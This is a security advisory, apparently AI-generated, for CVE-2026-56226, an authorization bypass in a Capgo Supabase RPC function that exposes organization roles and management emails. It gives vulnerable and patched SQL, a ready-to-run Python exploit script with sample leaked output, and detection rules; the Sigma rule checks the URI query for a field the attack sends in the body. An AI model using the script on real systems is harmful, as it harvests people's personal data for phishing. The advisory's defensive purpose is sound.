CVE-2026-56226
Executive Summary
CVE-2026-56226 is a critical authorization bypass vulnerability in Capgo (Cap-go/capgo) versions prior to 12.128.2. The vulnerability resides in the Supabase PostgREST RPC function public.get_orgs_v6(userid uuid), which is defined with the SECURITY DEFINER attribute and granted to the anon role. This misconfiguration allows any unauthenticated attacker, armed only with the public publishable API key, to invoke the function with an arbitrary user UUID and retrieve sensitive data including organization membership, roles, subscription/trial metadata, and the management_email (PII). The vulnerability has a CVSS score of 7.5 (High) due to its low attack complexity and network-based exploitation without any privileges or user interaction.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Capgo is a Go-based application that integrates with Supabase for backend services. The vulnerability is not in a third-party package but in the application's own database function definitions. However, the exposure of the Supabase public API key is a supply chain risk, as this key is often embedded in client-side code or public repositories. Organizations using Capgo should audit their Supabase project for any other exposed RPC functions and ensure that the anon role has minimal privileges.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely over the internet.
- Attack Complexity (AC): Low (L) – No special conditions required; the public API key is easily obtainable.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full disclosure of sensitive user data (PII, roles, subscription metadata).
- Integrity (I): None (N) – No data modification possible.
- Availability (A): None (N) – No denial of service.
CVSS Score: 7.5 (High)
Threat Level: High – The vulnerability is trivial to exploit and exposes sensitive PII, making it a prime target for data scraping and reconnaissance.
Deep Dive & Mechanics
The vulnerability stems from a flawed authorization model in Capgo's Supabase RPC function. The function public.get_orgs_v6(userid uuid) is defined with SECURITY DEFINER, meaning it executes with the privileges of the function owner (typically a database superuser) rather than the calling user. Additionally, the function is granted to the anon role, which is the default role for unauthenticated requests in Supabase.
The function accepts a userid parameter but does not verify that the provided UUID matches the authenticated user's ID. In a properly secured implementation, the function should use auth.uid() to retrieve the current user's ID and reject requests where the parameter does not match. Because this check is missing, an attacker can supply any user UUID and retrieve that user's organization data.
The attack flow:
- Obtain the public publishable API key (often found in client-side code, mobile apps, or public repositories).
- Send a POST request to
https://[project].supabase.co/rest/v1/rpc/get_orgs_v6with the JSON body{"userid": "target-uuid"}. - The server returns the organization membership, roles, subscription/trial metadata, and
management_emailfor the target user.
The management_email is particularly sensitive as it is a PII that can be used for phishing or social engineering attacks.
Vulnerable vs. Patched Code
Vulnerable Code (before 12.128.2):
CREATE OR REPLACE FUNCTION public.get_orgs_v6(userid uuid)
RETURNS TABLE(...)
LANGUAGE plpgsql
SECURITY DEFINER
AS $$
BEGIN
-- No check on userid matching authenticated user
RETURN QUERY SELECT ... FROM organizations WHERE owner_id = userid;
END;
$$;
GRANT EXECUTE ON FUNCTION public.get_orgs_v6 TO anon;
Patched Code (12.128.2 and later):
CREATE OR REPLACE FUNCTION public.get_orgs_v6()
RETURNS TABLE(...)
LANGUAGE plpgsql
SECURITY DEFINER
AS $$
DECLARE
current_user_id uuid;
BEGIN
current_user_id := auth.uid();
IF current_user_id IS NULL THEN
RAISE EXCEPTION 'Not authenticated';
END IF;
RETURN QUERY SELECT ... FROM organizations WHERE owner_id = current_user_id;
END;
$$;
REVOKE EXECUTE ON FUNCTION public.get_orgs_v6 FROM anon;
GRANT EXECUTE ON FUNCTION public.get_orgs_v6 TO authenticated;
The patch removes the userid parameter entirely and uses auth.uid() to enforce that only the authenticated user's data is returned. The function is also restricted to the authenticated role, preventing unauthenticated access.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target Capgo instance (e.g.,
https://xyz.supabase.co) - Public publishable API key (e.g.,
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...) - Target user UUID (can be obtained via other means, e.g., from public profiles or data leaks)
Exploit Script (Python):
import requests
import json
target = "https://xyz.supabase.co"
api_key = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
target_user_uuid = "550e8400-e29b-41d4-a716-446655440000"
headers = {
"apikey": api_key,
"Authorization": f"Bearer {api_key}",
"Content-Type": "application/json"
}
payload = {"userid": target_user_uuid}
response = requests.post(f"{target}/rest/v1/rpc/get_orgs_v6", headers=headers, json=payload)
if response.status_code == 200:
print("Success! Retrieved data:")
print(json.dumps(response.json(), indent=2))
else:
print(f"Failed: {response.status_code} - {response.text}")
Expected Output:
[
{
"org_id": "org_123",
"org_name": "Acme Corp",
"role": "admin",
"subscription_tier": "enterprise",
"trial_end": "2026-12-31",
"management_email": "admin@acme.com"
}
]
Blue Team (Detection & Hardening)
Detection Steps:
- Monitor Supabase logs for unusual RPC calls to
get_orgs_v6from unauthenticated sources. - Check for requests where the
apikeyheader contains a public publishable key (starts witheyJand is not a secret key). - Alert on any successful execution of
get_orgs_v6with auseridparameter that does not match the authenticated user (if authentication is present).
Hardening Steps:
- Immediately upgrade to Capgo 12.128.2 or later.
- Revoke the
anonrole's execute permission on all RPC functions that should require authentication. - Audit all existing RPC functions for
SECURITY DEFINERusage and ensure properauth.uid()checks. - Rotate the Supabase public API key if it has been exposed.
- Implement rate limiting on RPC endpoints to mitigate brute-force enumeration of user UUIDs.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/rest/v1/rpc/get_orgs_v6with a JSON body containing"userid"field. - HTTP requests with
apikeyheader containing a Supabase public publishable key (starts witheyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9). - Unusual high volume of requests to Supabase RPC endpoints from a single IP.
- POST requests to
Log IOCs:
- Supabase logs showing
get_orgs_v6executed byanonrole. - Database logs showing
SECURITY DEFINERfunction calls without prior authentication.
- Supabase logs showing
File IOCs:
- Presence of Supabase public API keys in client-side code, mobile app binaries, or public repositories (e.g., GitHub).
Detection Engineering
YARA Rule
rule Detect_Capgo_Exploit_Attempt {
meta:
description = "Detects HTTP requests attempting to exploit CVE-2026-56226"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-56226"
strings:
$rpc_path = "/rest/v1/rpc/get_orgs_v6"
$userid_field = "\"userid\""
$apikey_header = "apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9"
condition:
all of them
}
Sigma Rule
title: Capgo CVE-2026-56226 Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to the vulnerable RPC endpoint with a userid parameter
author: Valters IT
date: 2026-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/rest/v1/rpc/get_orgs_v6'
cs-uri-query|contains: 'userid'
condition: selection
falsepositives:
- Legitimate authenticated requests (rare, as the function should not be called with userid)
level: high
Suricata Rule
alert http any any -> any any (
msg:"CVE-2026-56226 Capgo Unauthenticated Data Access Attempt";
flow:to_server;
http.method; content:"POST";
http.uri; content:"/rest/v1/rpc/get_orgs_v6";
http.client_body; content:"\"userid\"";
http.header; content:"apikey";
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade to Capgo version 12.128.2 or later.
- Revoke the
anonrole's execute permission onget_orgs_v6and any other sensitive RPC functions. - Rotate the Supabase public API key and ensure it is not exposed in client-side code.
Long-term Hardening:
- Implement a strict authorization policy for all RPC functions: use
auth.uid()to verify the caller's identity. - Avoid using
SECURITY DEFINERunless absolutely necessary; preferSECURITY INVOKERto run functions with the caller's privileges. - Regularly audit Supabase project settings and RPC function permissions.
- Use Supabase's built-in Row Level Security (RLS) policies instead of RPC functions where possible.
- Monitor Supabase logs for anomalous RPC calls and set up alerts for unauthorized access attempts.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.